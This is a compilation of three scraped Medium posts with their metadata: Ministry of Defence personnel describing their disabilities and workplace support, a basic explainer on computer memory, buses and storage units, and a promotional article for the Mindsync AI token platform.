CES causes sciatic pain in both legs; changes in bladder and bowel controls and major motor weakness and numbness in the legs. I had emergency surgery, but complications resulted in head to toe pain, which took a year to diagnose as adhesive arachnoiditis. I now have numb feet and a numb right leg below the knee, and I get regular flare ups every 4 weeks which can last 2 to 3 days.
Being an ex-serviceman, I was fairly fit for my age. But I am now no longer able to walk more than 120 yds and have to go in a wheelchair for anything greater. I cannot sit down for long periods with a need to move around every 20 minutes.
I cannot emphasise enough how fantastic my Line Manager and the Ministry of Defence have been in supporting me through this.
They have allowed me to become a permanent home worker, and Occupational Health have provided me with specialist equipment such as a chair, contour mouse and speech recognition software. Most importantly they have given me the time and opportunity to manage my time and my condition.
Chief Petty Officer Medical Assistant Harris
I have served in the Royal Navy for a total of 32 years. I joined as a Marine Engineering Mechanic in 1988 and served on Leander Class Frigates, before transferring to the Medical Branch, and spending 28 years as a submariner. I was diagnosed with Asthma in 1995, which made the annual fitness test a real challenge. But my shipmates have always taken time to train with me, and I’ve always passed.
In 2015 I was diagnosed with Hypertrophic Cardiomyopathy (HCM). My condition restricts my physical capacity, similar to angina. It is not generally compatible with service life, particularly at sea when we are very isolated. A panel of Medical Officers, including Occupational Health, assessed my needs to decide whether I was still fit to serve, and because I was able to demonstrate the stability and predictability of my condition I have been retained on a reduced medical capacity.
In my case, I cannot deploy fully on sea service, but am able to go to sea within UK exercise areas where I can be evacuated to medical care quickly, should the need arise.
This works with my day to day job, as I oversee training and assessment of medical teams on submarines for short periods of time, in UK exercise areas. If I had been diagnosed earlier in my career, my inability to deploy to sea for long periods would probably have meant being discharged from the way of life that I love.
This year I was also diagnosed with Type 2 diabetes, which has added an extra challenge while working partly from home, 500 miles away from my usual base and medical officer.
The Navy has helped me manage my conditions by splitting my care between medical units in my deployed base and the unit nearest my home. I can attend either medical centre, depending on my location when the need arises.
Since I joined the Royal Navy in 1988 the services have come so far in providing support and adapting to provide care and careers for those with long term conditions or disabilities and I am sure that there are many more positive changes to come in the future.
A number of support networks also now exist to help those with chronic conditions in Defence, and CanDID has proved very useful to me. They put newly diagnosed people in touch with others with similar conditions and experience of managing their symptoms in the Defence environment. | https://medium.com/@defencehq/experiencing-disability-in-defence-3d2d6cf47df9 | ['Ministry Of Defence'] | 2021-08-03 13:14:04.265000+00:00 | ['Disability', 'Support', 'Defence'] |
How does memory work? | We know that the main memory of the computer is connected to the CPU through data bus. A control bus and an address bus collectively called a system bus.
When the CPU wants to read data from the memory it first places the read request on the control bus, and also places the address of the byte or word needed on the address bus.The memory unit reads the commend and the address and puts the required data on the data bus.The CPU then reads this data from the data bus.Similarly for writing data, CPU first places the write request on the control bus and also places the address of the word where wants to write on the address bus.When memory unit gets ready to do the operation the CPU puts the data on the data bus and memory unit reads this data and places it in the required word.
As the main memory consists of electronic circuits so a word or byte address is accessible without using any mechanical components.Because of this property the access speed of memory is very fast.Also the data stored in a computer’s main memory can be processed in any order.Because of this property the main memory is often referred to as Random Access Memory (RAM).As the RAM is constructed from integrated circuits so it needs to have continuous electrical power supply in the order to maintain.When power is switched off all the data stored into it is lost so we say that RAM is volatile.
Memory Measuring Units
In digital computers the data is represented as a collection of bits. A bit is the smallest unit of data that can be used by computer. We also know that this data is grouped into bytes and a byte is a the number of bits needed to store is character. A byte is comprised of eight bits. The size of the computer’s main memory is often measured as the number of bytes in it. List of different memory measuring units:
1 Nibble =4 bits
1 Byte =8 bits
1 KB (Kilo Byte) =1024 bytes
1 MB (Mega Byte) =1024 KB
1 GB (Gigs Byte) =1024 MB
1 Terabyte =1024 GB | https://medium.com/@tlpmediat6/how-does-memory-work-1b327f9210d1 | ['Muhammad Rashid'] | 2021-03-22 21:12:17.262000+00:00 | ['Computer Science', 'Computers', 'Knowledge', 'Computer Vision', 'Information'] |
MINDSYNC — decentralized platform based on AI | Nowadays, when people say “The Great Financial Revolution”, they certainly mean cryptocurrency, blockchain and bitcoin technology. These concepts have shaken the world with the latest approaches and many advantages. If you are not sure, you should know that cryptocurrency capital is growing rapidly every second. Cryptocurrency is a digital or virtual currency that uses cryptography for security. Cryptocurrency lives online and is not controlled by any company or government. They also have a higher cash value than traditional currencies. Bitcoin prices doubled in a month and increased by 180% since the beginning of 2017 due to the growing demand for cryptocurrency around the world
Due to the growth of electronic money, electronic money is being exchanged more and more. Currently there are more than 200 electronic money. It is not surprising that more and more companies want to join the growing market, and this potential allows you to get the maximum benefit while serving the needs of users of electronic money. However, they will not be able to stand out if they offer the same function or value, so users must look for other products if they really want to contribute to something valuable. for a long time.
Most cryptocurrency technologies, such as Bitcoin, are based on database forms with the advantage of being able to track the volume of large and secure transactions. The technology used in many digital currencies is Blockchain.
Blockchain was first implemented in 2009, and in 2014 it was radically modified using Blockchain 2.0. Blockchain technology consists of blocks that perform transactions, where each block is connected via cryptography, forming a network.
Along with the technological development of cryptocurrency in the future is becoming increasingly attractive offer on the market and may not have the traditional banking infrastructure.
Some developing countries in the world have even implemented blockchain-based national currencies, such as bitcoins, and this technology is also used in several large projects to help those who do not have bank accounts.
And Blockchain also has the potential to be used outside the realm of digital currencies, and attracts many traditional financial institutions to be accepted.
Let’s see what is the newest project in the world of digital currency ???
ABOUT THE PROJECT
Mindsync is a decentralized, AI-based platform where people can be used to develop customers as experts, developers or services to create or share AI services as a value.
MISSION FROM THIS PROJECT
Mindsync is a platform for solving customer problems through the competition of AI technologies and markets for solutions and training data sets. Our mission is to bring together the best experts in the field of artificial intelligence and hacking, data processing specialists, machine learning developers, suppliers of big data and computing power, investors and volunteers in one place to make AI solutions more accessible, cheap, simpler for different clients, accelerating its development and creating a global market for artificial intelligence solutions.
Customers place orders or tasks in the form of tasks on the https://mindsync.ai platform with detailed requirements, data sets, deadlines. Prizes will be distributed among multiple platform members.
Specialists help clients prepare tasks, competition rules, study solutions for problems and get remuneration for such work.
DS / ML developers are working on common or group tasks. The competitive nature of their work maximizes development speed, quality, and significantly reduces the cost of customer solutions. The developer of the decision will automatically receive a reward in accordance with the rules.
All data sets and kernels (problem solving) are hashed. The hash is stored on the blockchain for integrity checking and protection against changes. Reviews of expert decisions, ratings of developers and teams are written and stored in the blockchain (for additional protection against rating fakes).
Clients get the best solution for their tasks — algorithms and data along with expert reviews. Customers can place paid solutions on our platform in order to receive additional revenue from sales.
To find a solution, developers use the miner’s computing power, hazy supercomputer projects, cloud providers or exchange resources. This process, provided by the mindync.ai platform, is transparent to developers, and they can focus solely on the task. Computing capacity providers receive payments immediately after using their resources.
Communities can also publish their own algorithms and data for free or for sale at https://mindsync.ai/
And investors can become sponsors of tasks and teams, pay out prize funds and receive income from the sale of decisions. Investors can also receive part of the prize pool if they act as sponsors for the teams that take part in the competition.
Platformsync:
offers a single platform for solving real problems, paid or free. The decision is made by the community of AI, DS, ML: you place orders for solutions containing AI technology; Developed by members of our community, a complete test and launch on our platform. It is also possible to integrate it into an existing business or other area.
Use:
Customers can order a completely new AI solution or use one of the ready-made corporate solutions from our repository, which is evaluated by experts from the Mindsync community who save a lot of time and also use it to solve other more complex tasks on the platform.
Platform AIaaS API Mindsync.
You can run a ready-to-use solution for internal use and make a request to use the API without using it on an external server that is on your side. This allows you to create scalable applications using AI with unlimited theoretical computing power for any device.
Mindsync tokens are designed to invest in platforms, access AI solutions, and reward participants such as machine learning developers, experts, volunteers and researchers, suppliers of computing power and big data. Mindsync Tokens is an ERC20 service token. The number of tokens is limited. Mindsync tokens are configured to use a decentralized blockchain technology that ensures the transparency and security of all financial transactions. | https://medium.com/mindsync-ai/mindsync-decentralized-platform-based-on-ai-3f513a7ce54 | [] | 2019-06-27 14:21:34.627000+00:00 | ['Big Data Analytics', 'Big Data', 'Bitcoin', 'AI'] |
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